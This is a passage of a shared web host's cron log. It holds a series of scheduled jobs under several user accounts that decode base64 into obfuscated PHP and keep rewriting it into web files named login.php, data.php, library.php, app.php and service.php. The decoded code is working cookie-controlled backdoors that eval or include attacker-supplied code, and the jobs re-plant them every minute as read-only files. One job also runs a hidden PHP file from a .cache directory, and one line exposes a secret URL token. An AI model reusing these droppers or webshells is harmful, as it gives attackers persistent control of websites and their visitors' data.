JpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:32:02 medusa CROND[17172]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:32:02 medusa CROND[17184]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:32:02 medusa CROND[17193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:32:02 medusa CROND[17194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:33:01 medusa CROND[3859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:33:01 medusa CROND[3903]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:33:01 medusa CROND[4004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:33:01 medusa CROND[4058]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:33:01 medusa CROND[4059]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:33:01 medusa CROND[4060]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:33:01 medusa CROND[4061]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:33:01 medusa CROND[4065]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:33:01 medusa CROND[4070]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:33:01 medusa CROND[4076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:33:01 medusa CROND[4077]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:33:01 medusa CROND[4082]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:34:02 medusa CROND[24690]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:34:02 medusa CROND[24691]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:34:02 medusa CROND[24692]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:34:02 medusa CROND[24693]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:34:02 medusa CROND[24698]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:34:02 medusa CROND[24699]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:34:02 medusa CROND[24702]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:34:02 medusa CROND[24703]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:34:02 medusa CROND[24704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:34:02 medusa CROND[24705]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:34:02 medusa CROND[24706]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:34:02 medusa CROND[24711]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:34:02 medusa CROND[24715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:35:01 medusa CROND[12674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:35:01 medusa CROND[12678]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
